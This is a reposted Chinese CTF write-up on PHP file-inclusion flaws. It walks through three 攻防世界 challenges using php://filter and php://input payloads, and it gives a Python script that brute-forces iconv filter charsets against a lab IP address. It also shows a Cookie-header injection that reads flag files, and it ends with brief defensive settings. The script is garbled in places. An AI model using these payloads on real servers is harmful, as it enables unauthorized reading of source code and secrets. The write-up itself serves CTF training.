攻防世界 文件包含思路
0x00
文件包含形成原因:
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php 中引发文件包含漏洞的通常是以下四个函数:1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意
在这次总结中主要是include()出现的漏洞
0x01
题目:file_inlcude
本题用思路filename参数来传payload
先是用php://filter/read=convert.base64-encode/resource=flag.php去试探
回显为do not hack ! 说明存在对输入的过滤
尝试用协议的其他方法先对check.php
看的出来过滤了某些关键字符
payload如下
-
import requests
-
-
ip_port = 'http://61.147.171.105:55169/'
-
str1 = '?filename=php://filter/convert.iconv.{}.UCS-4*/resource=check.php'
-
#/var/www/html/flag.php
-
payload = []
-
# print(ip_port str1)
-
list_code = ['UCS-4*',
-
'UCS-4BE',
-
'UCS-4LE*',
-
'UCS-2',
-
'UCS-2BE',
-
'UCS-2LE',
-
'UTF-32*',
-
'UTF-32BE*',
-
'UTF-32LE*',
-
'UTF-16*',
-
'UTF-16BE*',
-
'UTF-16LE*',
-
'UTF-7',
-
'UTF7-IMAP',
-
'UTF-8*',
-
'ASCII*',
-
'EUC-JP*',
-
'SJIS*',
-
'eucJP-win*',
-
'SJIS-win*']
-
for i in list_code:
-
str3 = ip_port str1.format(i)
-
payload.append(str3)
-
for i in payload:
-
res = requests.get(i)
-
print(res.text)
-
print(i)
继续用上面的payload爆破flag.php,结果就可以出来了
题目:fileclude
这题思路 传入file1 file2 绕过条件后执行include($file1)
而在这里需要用php://input来绕过file_get_contens($file2)的限制
file_get_contents ()函数
成功返回读数据,失败返回假
而这里需要用到post提交方法来传上hello ctf参数绕过
所以file1=php://filter/read=convert.base64-encode/resource=flag.php
file2=php://input
post 数据:hello ctf
结果就可以出来
题目:fileinclude
查看源码
所以这里的突破口是cookie
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
这里有字符串拼接所以并没有.php结尾
最后将base64解密即可
0x02
思路:相关的类似ctf题 都是通过绕过设定然后用漏洞执行相应的payload获取flag
在php include 文件包含中
伪协议用的较多
比如以上用过的
php://filter #过滤器
php://input 等详细的可以去看php文档
0x03
对于文件包含有危害就应当有防御的手段,首先就是先对输入的变量进行控制,比如不能有相关payload协议关键字出现;防止愿成包含在php.ini allow_url_fopen和allow_url_include 设置为off等同时修改访问目录用户的权限。
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgffgej
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01